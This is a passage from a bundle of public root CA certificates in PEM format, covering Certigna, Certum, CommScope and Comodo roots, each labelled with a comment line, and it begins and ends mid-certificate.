      JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKfIrjxwo1p3Po6WAbfAgMBAAGjgbwwgbkw
      DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQtCRZvgHyUtVF9lo53BEw
      ZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJBgNVBAYT
      AkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzj
      AQ/JSP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG
      9w0BAQUFAAOCAQEAhQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8h
      bV6lUmPOEvjvKtpv6zf+EwLHyzs+ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFnc
      fca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1kluPBS1xp81HlDQwY9qcEQCYsuu
      HWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY1gkIl2PlwS6w
      t0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
      WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
      -----END CERTIFICATE-----

      # Certigna Root CA
      -----BEGIN CERTIFICATE-----
      MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAw
      WjELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAw
      MiA0ODE0NjMwODEwMDAzNjEZMBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0x
      MzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjdaMFoxCzAJBgNVBAYTAkZSMRIwEAYD
      VQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYzMDgxMDAwMzYxGTAX
      BgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
      ggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sO
      ty3tRQgXstmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9M
      CiBtnyN6tMbaLOQdLNyzKNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPu
      I9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8JXrJhFwLrN1CTivngqIkicuQstDuI7pm
      TLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16XdG+RCYyKfHx9WzMfgIh
      C59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq4NYKpkDf
      ePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3Yz
      IoejwpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWT
      Co/1VTp2lc5ZmIoJlXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1k
      JWumIWmbat10TWuXekG9qxf5kBdIjzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5
      hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp//TBt2dzhauH8XwIDAQABo4IB
      GjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
      FBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
      1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczov
      L3d3d3cuY2VydGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilo
      dHRwOi8vY3JsLmNlcnRpZ25hLmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYr
      aHR0cDovL2NybC5kaGlteW90aXMuY29tL2NlcnRpZ25hcm9vdGNhLmNybDANBgkq
      hkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOItOoldaDgvUSILSo3L
      6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxPTGRG
      HVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH6
      0BGM+RFq7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncB
      lA2c5uk5jR+mUYyZDDl34bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdi
      o2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1
      gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS6Cvu5zHbugRqh5jnxV/v
      faci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaYtlu3zM63
      Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayh
      jWZSaX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw
      3kAP+HwV96LOPNdeE4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
      -----END CERTIFICATE-----

      # Certum EC-384 CA
      -----BEGIN CERTIFICATE-----
      MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQsw
      CQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScw
      JQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMT
      EENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2MDcyNDU0WhcNNDMwMzI2MDcyNDU0
      WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBT
      LkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAX
      BgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATE
      KI6rGFtqvm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7Tm
      Fy8as10CW4kjPMIRBSqniBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68Kj
      QjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI0GZnQkdjrzife81r1HfS+8
      EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjADVS2m5hjEfO/J
      UG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0QoSZ/6vn
      nvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
      -----END CERTIFICATE-----

      # Certum Trusted Network CA
      -----BEGIN CERTIFICATE-----
      MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBM
      MSIwIAYDVQQKExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5D
      ZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBU
      cnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIyMTIwNzM3WhcNMjkxMjMxMTIwNzM3
      WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMg
      Uy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MSIw
      IAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0B
      AQEFAAOCAQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rH
      UV+rpDKmYYe2bg+G0jACl/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LM
      TXPb865Px1bVWqeWifrzq2jUI4ZZJ88JJ7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVU
      BBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4fOQtf/WsX+sWn7Et0brM
      kUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0cvW0QM8x
      AcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNV
      HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNV
      HQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15y
      sHhE49wcrwn9I0j6vSrEuVUEtRCjjSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfL
      I9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1mS1FhIrlQgnXdAIv94nYmem8
      J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5ajZt3hrvJBW8qY
      VoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
      03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
      -----END CERTIFICATE-----

      # Certum Trusted Network CA 2
      -----BEGIN CERTIFICATE-----
      MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCB
      gDELMAkGA1UEBhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMu
      QS4xJzAlBgNVBAsTHkNlcnR1bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIG
      A1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29yayBDQSAyMCIYDzIwMTExMDA2MDgz
      OTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQTDEiMCAGA1UEChMZ
      VW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRp
      ZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3
      b3JrIENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWA
      DGSdhhuWZGc/IjoedQF97/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn
      0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+oCgCXhVqqndwpyeI1B+twTUrWwbNWuKFB
      OJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40bRr5HMNUuctHFY9rnY3lE
      fktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2puTRZCr+E
      Sv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1m
      o130GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02i
      sx7QBlrd9pPPV3WZ9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOW
      OZV7bIBaTxNyxtd9KXpEulKkKtVBRgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgez
      Tv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pyehizKV/Ma5ciSixqClnrDvFAS
      adgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vMBhBgu4M1t15n
      3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
      AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMC
      AQYwDQYJKoZIhvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQ
      F/xlhMcQSZDe28cmk4gmb3DWAl45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTf
      CVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuAL55MYIR4PSFk1vtBHxgP58l1cb29
      XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMoclm2q8KMZiYcdywm
      djWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tMpkT/
      WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jb
      AoJnwTnbw3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksq
      P/ujmv5zMnHCnsZy4YpoJ/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Ko
      b7a6bINDd82Kkhehnlt4Fj1F4jNy3eFmypnTycUm/Q1oBEauttmbjL4ZvrHG8hnj
      XALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLXis7VmFxWlgPF7ncGNf/P
      5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7zAYspsbi
      DrW5viSP
      -----END CERTIFICATE-----

      # Certum Trusted Root CA
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # CommScope Public Trust ECC Root-01
      -----BEGIN CERTIFICATE-----
      MIICHTCCAaOgAwIBAgIUQ3CCd89NXTTxyq4yLzf39H91oJ4wCgYIKoZIzj0EAwMw
      TjELMAkGA1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29t
      bVNjb3BlIFB1YmxpYyBUcnVzdCBFQ0MgUm9vdC0wMTAeFw0yMTA0MjgxNzM1NDNa
      Fw00NjA0MjgxNzM1NDJaME4xCzAJBgNVBAYTAlVTMRIwEAYDVQQKDAlDb21tU2Nv
      cGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3QgRUNDIFJvb3QtMDEw
      djAQBgcqhkjOPQIBBgUrgQQAIgNiAARLNumuV16ocNfQj3Rid8NeeqrltqLxeP0C
      flfdkXmcbLlSiFS8LwS+uM32ENEp7LXQoMPwiXAZu1FlxUOcw5tjnSCDPgYLpkJE
      hRGnSjot6dZoL0hOUysHP029uax3OVejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD
      VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSOB2LAUN3GGQYARnQE9/OufXVNMDAKBggq
      hkjOPQQDAwNoADBlAjEAnDPfQeMjqEI2Jpc1XHvr20v4qotzVRVcrHgpD7oh2MSg
      2NED3W3ROT3Ek2DS43KyAjB8xX6I01D1HiXo+k515liWpDVfG2XqYZpwI7UNo5uS
      Um9poIyNStDuiw7LR47QjRE=
      -----END CERTIFICATE-----

      # CommScope Public Trust ECC Root-02
      -----BEGIN CERTIFICATE-----
      MIICHDCCAaOgAwIBAgIUKP2ZYEFHpgE6yhR7H+/5aAiDXX0wCgYIKoZIzj0EAwMw
      TjELMAkGA1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29t
      bVNjb3BlIFB1YmxpYyBUcnVzdCBFQ0MgUm9vdC0wMjAeFw0yMTA0MjgxNzQ0NTRa
      Fw00NjA0MjgxNzQ0NTNaME4xCzAJBgNVBAYTAlVTMRIwEAYDVQQKDAlDb21tU2Nv
      cGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3QgRUNDIFJvb3QtMDIw
      djAQBgcqhkjOPQIBBgUrgQQAIgNiAAR4MIHoYx7l63FRD/cHB8o5mXxO1Q/MMDAL
      j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
      v4RDsNuESgMjGWdqb8FuvAY5N9GIIvejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD
      VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTmGHX/72DehKT1RsfeSlXjMjZ59TAKBggq
      hkjOPQQDAwNnADBkAjAmc0l6tqvmSfR9Uj/UQQSugEODZXW5hYA4O9Zv5JOGq4/n
      ich/m35rChJVYaoR4HkCMHfoMXGsPHED1oQmHhS48zs73u1Z/GtMMH9ZzkXpc2AV
      mkzw5l4lIhVtwodZ0LKOag==
      -----END CERTIFICATE-----

      # CommScope Public Trust RSA Root-01
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # CommScope Public Trust RSA Root-02
      -----BEGIN CERTIFICATE-----
      MIIFbDCCA1SgAwIBAgIUVBa/O345lXGN0aoApYYNK496BU4wDQYJKoZIhvcNAQEL
      BQAwTjELMAkGA1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwi
      Q29tbVNjb3BlIFB1YmxpYyBUcnVzdCBSU0EgUm9vdC0wMjAeFw0yMTA0MjgxNzE2
      NDNaFw00NjA0MjgxNzE2NDJaME4xCzAJBgNVBAYTAlVTMRIwEAYDVQQKDAlDb21t
      U2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3QgUlNBIFJvb3Qt
      MDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDh+g77aAASyE3VrCLE
      NQE7xVTlWXZjpX/rwcRqmL0yjReA61260WI9JSMZNRTpf4mnG2I81lDnNJUDMrG0
      kyI9p+Kx7eZ7Ti6Hmw0zdQreqjXnfuU2mKKuJZ6VszKWpCtYHu8//mI0SFHRtI1C
      rWDaSWqVcN3SAOLMV2MCe5bdSZdbkk6V0/nLKR8YSvgBKtJjCW4k6YnS5cciTNxz
      hkcAqg2Ijq6FfUrpuzNPDlJwnZXjfG2WWy09X6GDRl224yW4fKcZgBzqZUPckXk2
      LHR88mcGyYnJ27/aaL8j7dxrrSiDeS/sOKUNNwFnJ5rpM9kzXzehxfCrPfp4sOcs
      n/Y+n2Dg70jpkEUeBVF4GiwSLFworA2iI540jwXmojPOEXcT1A6kHkIfhs1w/tku
      FT0du7jyU1fbzMZ0KZwYszZ1OC4PVKH4kh+Jlk+71O6d6Ts2QrUKOyrUZHk2EOH5
      kQMreyBUzQ0ZGshBMjTRsJnhkB4BQDa1t/qp5Xd1pCKBXbCL5CcSD1SIxtuFdOa3
      wNemKfrb3vOTlycEVS8KbzfFPROvCgCpLIscgSjX74Yxqa7ybrjKaixUR9gqiC6v
      wQcQeKwRoi9C8DfF8rhW3Q5iLc4tVn5V8qdE9isy9COoR+jUKgF4z2rDN6ieZdIs
      5fq6M8EGRPbmz6UNp2YINIos8wIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4G
      A1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUR9DnsSL/nSz12Vdgs7GxcJXvYXowDQYJ
      KoZIhvcNAQELBQADggIBAIZpsU0v6Z9PIpNojuQhmaPORVMbc0RTAIFhzTHjCLqB
      KCh6krm2qMhDnscTJk3C2OVVnJJdUNjCK9v+5qiXz1I6JMNlZFxHMaNlNRPDk7n3
      +VGXu6TwYofF1gbTl4MgqX67tiHCpQ2EAOHyJxCDut0DgdXdaMNmEMjRdrSzbyme
      APnCKfWxkxlSaRosTKCL4BWaMS/TiJVZbuXEs1DIFAhKm4sTg7GkcrI7djNB3Nyq
      pgdvHSQSn8h2vS/ZjvQs7rfSOBAkNlEv41xdgSGn2rtO/+YHqP65DSdsu3BaVXoT
      6fEqSWnHX4dXTEN5bTpl6TBcQe7rd6VzEojov32u5cSoHw2OHG1QAk8mGEPej1WF
      sQs3BWDJVTkSBKEqz3EWnzZRSb9wO55nnPt7eck5HHisd5FUmrh1CoFSl+NmYWvt
      PjgelmFV4ZFUjO2MJB+ByRCac5krFk5yAD9UG/iNuovnFNa2RU9g7Jauwy8CTl2d
      lklyALKrdVwPaFsdZcJfMw8eD/A7hvWwTruc9+olBdytoptLFwG+Qt81IR2tq670
      v64fG9PiO/yzcnMcmyiQiRM9HcEARwmWmjgb3bHPDcK0RPOWlc4yOo80nOAXx17O
      rg3bhzjlP1v9mxnhMUF6cKojawHhRUzNlM47ni3niAIi9G7oyOzWPPO5std3eqx7
      -----END CERTIFICATE-----

      # Comodo AAA Services root
      -----BEGIN CERTIFICATE-----
      MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEb
      MBkGA1UECAwSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRow
      GAYDVQQKDBFDb21vZG8gQ0EgTGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmlj
      YXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAwMFoXDTI4MTIzMTIzNTk1OVowezEL
      MAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE
      BwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNVBAMM
      GEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP
      ADCCAQoCggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQua
